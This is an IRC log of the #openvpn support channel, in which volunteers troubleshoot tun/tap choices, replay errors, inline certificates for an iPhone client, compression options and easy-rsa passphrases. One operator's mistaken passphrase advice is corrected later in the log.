06:53 < ScriptFanix> Hi, does the limitation to tun devices on Android come from the OS? And if not, will it be supported in the forseeable future?
06:54 -!- ade_b [~Ade@193.202.255.218] has joined #openvpn
06:54 -!- ade_b [~Ade@193.202.255.218] has quit [Changing host]
06:54 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:56 -!- jY [~jy@photoblog.com] has left #openvpn ["Linkinus - http://linkinus.com"]
06:58 < ScriptFanix> With Windows only supporting tap and Android only supporting tun, life is not that simple (though still much simpler than in the IPSec-world)
06:59 <+pekster> ScriptFanix: Windows does tun just fine. The "driver" is called "Tap-Win32" just like the Linux/Unix driver is called "tun" and also does tap
07:00 <+pekster> You should use tun devices anyway unless you have an actual need to transport raw Ethernet (non-IP) data across your tunnel. See !tunortap and !whybridge for details
07:01 -!- Agin [~Agin@shell01.copyleft.no] has quit [Remote host closed the connection]
07:05 < rob0> Where did you find your information about Windows only supporting tap?
07:05 < rob0> was it just a guess from the name of the driver?
07:07 < ScriptFanix> I don't remember, that was a long time ago
07:08 < ScriptFanix> any way, thanks for the information
07:12 < ScriptFanix> I probably don't need tap anymore, that was a setup from before tun-ipv6
07:21 -!- schnuffle [~schaefer@HSI-KBW-082-212-001-017.hsi.kabelbw.de] has joined #openvpn
07:27 < schnuffle> hello folks, I'm observing performance problems on my VPN. the original setup is connecting two networks, one has 100/10 MBit/s  Down/Upstream the other side has 200/20Mbit/s. The setup uses two linux boxes and connects with a routed setup. The max throughoutput is only around 300KByte/s. What I see on the client side is " Replay-window backtrack occurred" and " Authenticate/Decrypt packet error: bad packet ID (may be a replay)"
07:28 < schnuffle> My conclusion would be that the involved router has problems with the load, nevertheless doing a simple netcat gives me a much bigger troughoutput
07:28 < schnuffle> Any ideas how to further anaylsze the situation?
07:30 <@ecrist> good morning
07:30 <+pekster> schnuffle: Read about --replay-window in the manpage for info on replays, how to tune for them if your link has a high product of bandwidth and latency, and what your options are
07:31 < schnuffle> pekster: hi, I did already and tested some other settings for replay-window but the situation didn't change much
07:31 <+pekster> schnuffle: Either you have quite a bit of intra-packet jitter/delay, or there's some other reason you're getting re-sent old packets between your peers
07:32 <+pekster> If by "some other settings" you mean you read that part of the manpage already and used the --verb 4 feature to tell you what the window backtrack was, how much was it moving backwards?
07:32 < schnuffle> pekster: I got a lot of 3 packets and right now during my last test I had 13
07:33  * pekster sighs
07:39 < schnuffle> the max I got was 405
07:41 <+pekster> Now that's more useful information
07:42 <+pekster> That's quite a bit; either the link is awful between your 2 peers, or you have an increadible pipe that can deliver the 405th (relative) packet before the 1st, which would surprise me quite a bit
07:43 <+pekster> You could try openvpn over a tcp transport (with its gaurenteed delivery model) but if your link is that bad, it's probably going to be just as slow if not worse, and possibly time out more
07:55 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
07:58 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
08:01 < schnuffle> I'll try with TCP
08:05 -!- esde [~esde@162.218.209.203] has quit [Changing host]
08:05 -!- esde [~esde@unaffiliated/esde] has joined #openvpn
08:11 -!- Carbon_Monoxide [~cmonxide@121.139.198.203.static.netvigator.com] has joined #openvpn
08:12 -!- Carbon_Monoxide [~cmonxide@121.139.198.203.static.netvigator.com] has left #openvpn []
08:25 -!- vvinothkumar [~vinothkum@122.172.206.202] has quit [Remote host closed the connection]
08:37 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has joined #openvpn
08:43 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
08:43 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
08:48 < vamadir> what can use with openvpn for cache?
08:52 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Read error: Operation timed out]
08:53 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:56 < schnuffle> vamadir: any cache that can be used without it as well
09:01 < DrFoo> when using inline certs, they are all base 64 encoded, correct?
09:07 <+pekster> DrFoo: They're in PEM format, which base64 encodes the ANS.1 cert data, yes
09:09 < DrFoo> pekster:after I generate the keys via easy rsa, do I need to do anything? I did openssl base64 -in ca.crt, but the iphone app is saying the cert format is invalid
09:11 -!- Guest27680 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
09:12 < schnuffle> DrFoo: when you use easy-rsa no changes need to made to th certs and keys
09:13 < DrFoo> schnuffle: ok.. basically just  cat them and append to the ovpn file as shown in the docs...
09:14 < DrFoo> got ahead of myself...
09:14 < DrFoo> Thanks.
09:14 < schnuffle> yw
09:15 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
09:15 -!- ludde_ [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 260 seconds]
09:15 -!- cjross [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has quit [Ping timeout: 248 seconds]
09:16 -!- cjross [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has joined #openvpn
09:19 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
09:29 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 240 seconds]
09:31 -!- schnuffle [~schaefer@HSI-KBW-082-212-001-017.hsi.kabelbw.de] has quit [Read error: Connection reset by peer]
09:32 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:32 -!- schnuffle [~schaefer@HSI-KBW-082-212-001-017.hsi.kabelbw.de] has joined #openvpn
09:38 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:42 < soapee01> Question about Failover. OpenVPN running behind pfsense with 2 internet connections (failover not balance) with 2 static IP's.  Is it possible to set up an openvpn client to be aware of the 2 ip addresses and try them successively?
09:43 < soapee01> nvm
09:43 < soapee01> -remote host [port]
09:43 < soapee01>     Remote host name or IP address. On the client, multiple --remote options may be specified for redundancy, each referring to a different OpenVPN server.
09:49 < rob0> Did you check the pfsense documentation about that?
09:50 < soapee01> no. was just looking at possiblities. haven't implemented yet rob0
09:53 -!- schnuffle [~schaefer@HSI-KBW-082-212-001-017.hsi.kabelbw.de] has quit [Quit: Leaving.]
10:11 -!- MadTBone [~MadTBone@160.39.238.196] has joined #openvpn
10:14 -!- MadTBone [~MadTBone@160.39.238.196] has quit [Client Quit]
10:19 -!- MadTBone [~MadTBone@160.39.238.196] has joined #openvpn
10:24 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
10:34 < DrFoo> iphone client is timing out. What should I be looking for? It says server poll timeout
10:37 -!- aegis [~aegis@184.75.212.34] has joined #openvpn
10:41 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
10:46 <@ecrist> sounds like a network connection problem
10:51 < DrFoo> ecrist: resolves to my ip fine and my other clients connect w/o issue.
10:52 < DrFoo> Is there anything special about the way the iphone app connects?
10:52 <@ecrist> is it using the same internet connection as your other clients?
10:52 < DrFoo> yes
10:52 <@ecrist> are you sure the config on the iphone is correct?
10:53 < rob0> I don't generally use multiple clients from the same site. I'd use a site tunnel, and route through that.
10:53 < DrFoo> pretty sure. I added the certs to the config and the rest was based off of the working client. Is there anything that needs to be removed / added for this type of client?
10:54 <@ecrist> nothing specific, but there may be server features the iphone client doesn't support
10:54 <@ecrist> !logs
10:54 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
10:54 <@ecrist> iphone and android use a new codebase
10:54 < DrFoo> rob0: I only connected my pc client to make sure it wasn't network. It was timing out prior to my pc connection
10:54 <@ecrist> not fully fused with the feature set of the open source software
10:55 < DrFoo> ecrist: Can I iphone currently connect to openvpn server (open source)
10:56 <@ecrist> try that sentence again
10:56 < DrFoo> ha
10:56 < DrFoo> can an iphone connect to an open source openvpn server?
10:56 <@ecrist> yes
10:56 <@ecrist> my iphone connects to our work server (v6 and all) without a problem.
10:57 < DrFoo> ok. do you know what would cause the server not to respond to a client?
10:57 < DrFoo> I would only think a bad crt/key or something
10:57 <@ecrist> post your logs, please
10:58 <@ecrist> and see my other comments, above
11:06 -!- vamadir [~vamadir@222.33.9.162] has quit []
11:06 < DrFoo> ecrist: http://pastebin.com/iRa9qx6U
11:11 < rob0> Perhaps the client config would have been more useful than the dozens of lines of comments?
11:12 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
11:12 <@ecrist> DrFoo: looks like you don't have valid certificates properly installed on the client
11:13 < rob0> anyway, your timeout seems to be 10 seconds, and you're not hearing back from the server in that amount of time.
11:13 <@ecrist> also, you posted client log and server config
11:13 <@ecrist> should have been client log and server log
11:14 < rob0> ecrist, I am guessing that the certificate format error was fixed between 09:52 and 10:25
11:15 < DrFoo> rob0: oh damn. those were the logs.. I'll get the client conf.. sorry multitasking... (poorly)
11:15 <@ecrist> DrFoo: I don't care about the config at the moment
11:15 <@ecrist> I want the server log
11:16 < rob0> It would be of interest to know if the server heard from this client at all. There's no evidence of that having happened, looking at the client's log.
11:17 <@ecrist> if the certificate didn't load correctly (which is what I think is the case), there woudn't be communication
11:18 < DrFoo> ok. Here's the client conf in the mean time.
11:18 < DrFoo> http://pastebin.com/UUW92Ekv
11:18 < rob0> My guess was not addressed by DrFoo. DrFoo, you must respond to such questions if you want help.
11:19 <@ecrist> gah
11:19 <@ecrist> and you post certificate key data to a public pastebin
11:19 < DrFoo> rob0: I think it was fixed
11:19 < DrFoo> it stopped complaining
11:19 < DrFoo> in the gUI anyway
11:20 < DrFoo> sh*t
11:21 < DrFoo> I'll have to revoke that key
11:22 -!- raidz_away is now known as raidz
11:22 <+pekster> Don't forget to re-issue the CRL, copy it to any servers using the PKI, and verify they have --crl-verify in configs (you'll need to restart if they don't have it already)
11:23 < DrFoo> pekster: in regards to the iphone connecting or with regards to reissuing keys?
11:23 <+pekster> A "quick alternative" if you want to put that off is to use a ccd dir with the single client-directive "disable" in the ccd file
11:23 <+pekster> Revoking the cert; the server will happily continue accepting a revoked cert if it doesn't know that it's revoked
11:24 < DrFoo> ??
11:24 <@ecrist> start here:
11:24 <@ecrist> !man
11:24 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
11:27 -!- moparisthebest_ [~quassel@cpe-184-57-178-66.cinci.res.rr.com] has quit [Read error: Connection reset by peer]
11:28 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
11:31 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Excess Flood]
11:31 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
11:42 < DrFoo> ecrist: Here's the server logs. http://pastebin.com/Y3aJQTnx
11:44 < rob0> does it show any evidence of the problem client trying to connect?
11:45 <@ecrist> DrFoo: can we have the complete log?
11:45 <@ecrist> shtudown openvpn server, shut down client
11:45 <@ecrist> start server fresh, start client
11:45 <@ecrist> wait, then upload both logs
11:45 < DrFoo> understood
11:45 <@ecrist> we have to be able to correlate the data between the two, and it needs to be at least verb 4
11:47 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
11:48 < DrFoo> ok. Just to make sure I'm on the same page, you want the whole syslog?
11:55 <@ecrist> the whole openvpn log
12:13 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
12:15 < DrFoo> http://pastebin.com/1Ykndy5z
12:15 < DrFoo> ecrist ^
12:15 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:15 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
12:18 -!- AginLap [~AginLap@109.201.154.203] has joined #openvpn
12:20 <@ecrist> do you have verb on the client set to 4 or more?
12:20 <@ecrist> also, your openvpn server is massively out of date
12:21 < DrFoo> ecrist: yes 4 on both
12:21 < DrFoo> I can bump it up, if you want
12:21 <@ecrist> your real connection problem is in your server log
12:21 <@ecrist> line 522 of your pastebin
12:29 < DrFoo> http://paste.ubuntu.com/6331149/
12:29 < DrFoo> I think it expired... line 290 shows HMAC auth failure
12:29 < DrFoo> I think that was what you were referring to
12:30 < DrFoo> ecrist ^
12:30 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
12:31 -!- Agin [~Agin@shell01.copyleft.no] has joined #openvpn
12:36 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
12:36 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:37 -!- thumbs [1000@unaffiliated/thumbs] has quit [Remote host closed the connection]
12:38 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
12:38 -!- nutron|w [~nutron@184.68.34.30] has joined #openvpn
12:38 -!- nutron|w [~nutron@184.68.34.30] has quit [Read error: Connection reset by peer]
12:40 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
12:44 <@ecrist> you think what expired?
12:45 <@ecrist> oh, yeah, DrFoo, the HMAC signature is your problem 
12:45 <@ecrist> remove TLS auth from your config at both ends and try again
12:45 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:49 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
12:51 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
13:04 -!- raidz is now known as raidz_away
13:04 -!- raidz_away is now known as raidz
13:06 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
13:08 -!- occupant [~null@204.14.158.226] has joined #openvpn
13:18 -!- thumbs [1000@unaffiliated/thumbs] has quit [Read error: Connection reset by peer]
13:19 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
13:22 -!- nutron [~nutron@184.68.34.30] has joined #openvpn
13:22 -!- nutron [~nutron@184.68.34.30] has quit [Changing host]
13:22 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
13:29 -!- raidz is now known as raidz_away
13:31 -!- MadTBone [~MadTBone@160.39.238.196] has quit [Quit: Leaving]
13:39 -!- raidz_away is now known as raidz
13:40 -!- raidz is now known as raidz_away
13:42 -!- raidz_away is now known as raidz
13:51 -!- MeanderingCode [~Meanderin@192.241.150.232] has joined #openvpn
13:58 -!- thumbs [1000@unaffiliated/thumbs] has quit [Read error: Connection reset by peer]
14:00 < DrFoo> ecrist: I did some reading online. Because I commented out #tls-auth ta.key 1 for using inline key, I had to replace with key-direction 1. Thanks for your help.
14:01 < DrFoo> I do need to upgrade though.. still running deb 6, time for 7 now...
14:01 -!- thumbs [~frank@unaffiliated/thumbs] has joined #openvpn
14:07 <@krzee> DrFoo, that is mentioned here:
14:07 <@krzee> !inline
14:07 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page at https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAV or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
14:07 <@krzee> #2
14:08 < DrFoo> krzee: Yeah, that's the page I found. Now things are good. Thanks!
14:08 <@krzee> np =]
14:09 -!- Guest27680 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
14:15 -!- master_o1_master [~master_of@p4FD7BD37.dip0.t-ipconnect.de] has joined #openvpn
14:18 -!- master_of_master [~master_of@p4FF24590.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
14:42 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:48 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 272 seconds]
14:51 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
14:52 <@ecrist> hey krzee how goes?
15:04 < occupant> trying to set up a second vpn instance on my server and when I try to load the conf, it claims that dh1024.pem doesn't exist... even though it does, and it's right where I say it is. does that message ever display erreonously?
15:04 < Thermi> check the path
15:04 < Thermi> literally.
15:04 < occupant> oh yeah, I can ls it
15:06 <@ecrist> is it readable by the openvpn process?
15:09 < occupant> ah jeez, I didn't expect to try relative to where the command was being executed
15:19 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 252 seconds]
15:21 -!- jim-p-work [~jimp@2001:470:1f11:e1c:dead:beef:c0de:cafe] has joined #openvpn
15:23 < jim-p-work> Anyone happen to know if there is any logical or technical difference between using "comp-lzo yes" and "comp-lzo" with "comp-noadapt"? It would seem like Adaptive compression would be off in either case but the docs are unclear.
15:28 -!- michaelhart [~michaelha@162.209.1.130] has quit [Ping timeout: 246 seconds]
15:30 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
15:34 -!- markus_ [~markus@mirkk.vpntunnel.com] has joined #openvpn
15:36 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
15:44 -!- Roelke [~Roelke@hostserv.nl] has quit [Remote host closed the connection]
15:48 -!- jim-p [~jim-p@2001:470:1f11:e1c::2] has joined #openvpn
15:49 -!- jim-p-work [~jimp@2001:470:1f11:e1c:dead:beef:c0de:cafe] has quit [Quit: Leaving]
15:59 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
16:08 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
16:12 <+pekster> jim-p: No difference. The --comp-noadapt option flips off the bit for adaptive compression, and that bit is already off when using `--comp-lzo yes`. However, the order of operations does matter since options defined later (or pushed from server) will over-ride earlier ones
16:12 < jim-p> pekster: great, thanks
16:13 <+pekster> For instance, `openvpn [..] --comp-lzo adaptive --comp-noadapt` will enable lzo without adaptive, but reversing them would enable it
16:19 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Excess Flood]
16:19 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
16:45 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 260 seconds]
16:50 -!- AginLap [~AginLap@109.201.154.203] has quit [Quit: Leaving]
16:54 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
16:54 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 240 seconds]
16:59 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has quit [Quit: elfixit]
16:59 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
17:00 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has joined #openvpn
17:02 -!- elfixit [~Icedove@2001:8b0:856:1:863a:4bff:fe93:6310] has quit [Client Quit]
17:03 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
17:04 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:05 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Ping timeout: 245 seconds]
17:13 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 245 seconds]
17:15 -!- Denial [Denial@90.216.209.93] has quit []
17:16 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
17:16 -!- mode/#openvpn [+v s7r] by ChanServ
17:17 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
17:19 < EugeneKay> !download
17:19 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
17:19 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
17:20 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
17:27 -!- debbei10t_zzz [~ma1com10t@host-92-20-12-215.as13285.net] has joined #openvpn
17:27 -!- debbei10t_zzz [~ma1com10t@host-92-20-12-215.as13285.net] has left #openvpn []
17:28 < occupant> so I'm trying to set up a second instance on my server, based on the first instance which is working fine. when I connect to the second instance, I'm able to ping the client's VPN IP from the server, but the client itself just gives "dest unreachable" to anywhere inside the network. anything I would want to look at?
17:31 < occupant> the client's routing table is correct, has all the same entries as the working ones, except with the different gateway subnet
17:36 -!- debbie10t [~ma1com10t@host-92-20-12-215.as13285.net] has joined #openvpn
17:36 -!- mode/#openvpn [+o debbie10t] by ChanServ
17:37 <@debbie10t> !route
17:37 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
17:37 <@vpnHelper> behind the server or client
17:44 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
17:46 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 245 seconds]
17:46 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
17:47 < occupant> debbie10t: I don't think it's a basic routing issue like that, since my config is almost exactly the same as the working one.
17:53 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
17:56 <@debbie10t> occupant - sorry i am helping another .. we just over lapped by accident
18:09 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 248 seconds]
18:12 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 260 seconds]
18:13 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
18:20 -!- liriel [~liriel@aphrodite.feralhosting.com] has quit [Ping timeout: 245 seconds]
18:25 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
18:28 -!- Sander^Lap [sander@ellj90.ip.ssc.net] has quit [Ping timeout: 260 seconds]
18:33 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
18:34 -!- klein [~klein@187.85.190.29] has joined #openvpn
18:34 -!- klein [~klein@187.85.190.29] has quit [Changing host]
18:34 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
18:45 -!- Sazpaimon_ [wat@unaffiliated/Sazpaimon] has quit [Read error: Connection reset by peer]
19:00 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 248 seconds]
19:08 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
19:18 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
19:21 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
19:24 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
19:24 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
19:24 -!- mode/#openvpn [+v s7r] by ChanServ
19:28 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
19:33 -!- JSharpe_ [~JSharpe@31.205.63.22] has joined #openvpn
19:33 -!- JSharpe__ [~JSharpe@31.205.63.22] has joined #openvpn
19:36 -!- aegis [~aegis@184.75.212.34] has quit [Ping timeout: 246 seconds]
19:36 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Ping timeout: 256 seconds]
19:38 -!- JSharpe_ [~JSharpe@31.205.63.22] has quit [Ping timeout: 256 seconds]
19:38 -!- JSharpe__ [~JSharpe@31.205.63.22] has quit [Ping timeout: 256 seconds]
19:51 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 240 seconds]
19:53 -!- uniqdom [~uniqdom@pc-238-64-100-190.cm.vtr.net] has joined #openvpn
19:55 < uniqdom> ". / build-key client" asked me a password. Should it match with the one that I have used in ". / build-key-server server"
19:56 < uniqdom> and another question, is it ok if I let them without password?
20:00 <@debbie10t> hi uniqdom
20:01 <@debbie10t> are you using easy-rsa ?
20:05 < uniqdom> debbie10t: yes, i'm using easy-rsa
20:06 <@debbie10t> The password fields must match for both server and client
20:06 <@debbie10t> but it is optional
20:07 <@debbie10t> of you set a password in the server certificate it must also be in the client
20:07 < uniqdom> if i put a password, I will be prompted every time i start a connection?
20:07 <@debbie10t> no .. the password is included in the cerificate
20:08 < uniqdom> i guess it is more secure if i put a password right?
20:08 <@debbie10t> you guess ?
20:08 <@debbie10t> :)
20:09 < uniqdom> debbie10t, thank you very much
20:10 < occupant> hm, is there no way to automate key creation with supplied options? I'm not seeing how to provide pkitool with anything more than the CN
20:10 < occupant> I wanted emailAddress at least
20:11 <@debbie10t> occupant: are you also using easy-rsa ?
20:11 < occupant> debbie10t:  I am.
20:12 <@debbie10t> did you read "vars" file ?
20:13 <@debbie10t> or the readme ?
20:14 < occupant> oh, so I can just set a regular env var for it. well that's embarassing.
20:14 <@debbie10t> =]
20:15 <@debbie10t> we all havbe to start somewhere
20:15 <@debbie10t> make sure you run the vars file before you start your key creation
20:17 < occupant> yeah I knew that global vars got set in there, but I wasn't mindful of the fact that they were just ordinary environment vars that I can just change as I go in my script
20:18 <@debbie10t> you can always set them on the fly // cheesy-rsa
20:20 <@debbie10t> very helpful though .. for those that read the readme
20:28 <+pekster> WHAT?
20:29 <+pekster> No, the passphrases on your INDEPENDENT keys do _not_ need to match
20:29 <+pekster> Nor should they if they are going on different systems
20:29 <+pekster> Advising otherwise, especially if different people are going to get them is a very (very!) bad idea
20:29 <+pekster> uniqdom: ^ see above
20:30 <+pekster> You two need to read up on PKI basics: https://www.pekster.net/staging/josh/easyrsa3/Intro-To-PKI.html
20:30 < uniqdom> thanks... i will
20:30 -!- schnitzl [~schnitzl@dslb-178-010-084-203.pools.arcor-ip.net] has quit [Ping timeout: 245 seconds]
20:31 <+pekster> debbie10t: What are you smoking? "password included in the certificate" ? That's also compltely wrong
20:31 <@debbie10t> wowowow
20:32 -!- schnitzl [~schnitzl@dslb-188-110-235-021.pools.arcor-ip.net] has joined #openvpn
20:33 <@debbie10t> my vertificates failed when the password prompted for in easy-rsa did not match up
20:34 <@debbie10t> i realise i could have omited the field as optional, like "company name" but the password has to match
20:34 <@debbie10t> if you use it
20:34 <@debbie10t> did i just screw up my cert ?
20:35 <@debbie10t> reading
20:36 <+pekster> You enter the password twice: if the verification fails, that's a problem as you typo'd the passwords
20:37 <+pekster> Separate keys do not need to have the same passphrase, nor should they unless independnetly generated by the owning user (in which case they're probably very bad passwords)
20:38 <+pekster> Often server keys won't have a passphrase since that would mean they couldn't restart or start up on boot with interactive support to decrypt them, but client keys generally are encrypted so that having them inadvertently copied (or the hardware stolen) doesn't result in an automatic security break
20:39 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 240 seconds]
20:42 < uniqdom> thanks for that link :)
20:42 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
20:42 <@debbie10t> so be it .. i made a major misunderstanding
20:43 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 264 seconds]
20:43 <@debbie10t> thankyou pekster
20:43 <+pekster> Well, just think through what you said actually means to understand why I'm so adament about correcting it: if Bob and Eve both know the other's private key is protected with the same passphrase, Eve can "borrow" Bob's computer, copy the key, and with the decryption passphrase can now make connections appearing as Bob. This could easily have been avoided if Bob had a passphrase known only to him securing the key
20:44 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
20:44 <+pekster> This is also why you ideally never generate private keys on systems that are not the intended user (the "consumer" -- could be a user or the server) thus preventing the need to transport security-sensitive data in the open
20:45 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Remote host closed the connection]
20:45 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
20:46 <@debbie10t> yes .. i had it literaly back to front !
20:47 <@debbie10t> my strongest apologies
20:52 -!- dowaat [uid3966@gateway/web/irccloud.com/x-gbmkfcatefzbyzrx] has joined #openvpn
20:52 < dowaat> are there known issues with openvpn and nm0.9.9.0?
20:53 <+pekster> We don't recommend you use networkmanager at all with openvpn; YMMV, but it's had limited/buggy support for quite a while
20:54 < dowaat> okay, was just using the built in control's wth kde on fedora 20
20:54 <+pekster> Try running your config file from the command-line with `openvpn --config /path/to/your.conf` and if that works, you know your GUI thing is the problem
20:56 < dowaat> pekster: works
20:56 < dowaat> the issue would then seem to be with the kde connection editor (which is just a new look on nm0.9.9.0)
21:02 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
21:06 <+pekster> dowaat: Send complaints to either the nm or kde dev teams then. Their "frontend" to openvpn has had issues since conception since they try to be clever about how features are supported and manage not to actually provide the full features of the config file
21:07 <+pekster> Sometimes you can make it with with more simple setups, but I don't like GUIs that have to re-invent the wheel to get a component to work; openvpn already has a config file, and proper frontends allow you to simply start the process up on that config file
21:13 -!- debbie10t [~ma1com10t@host-92-20-12-215.as13285.net] has left #openvpn []
21:27 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Quit: Leaving...]
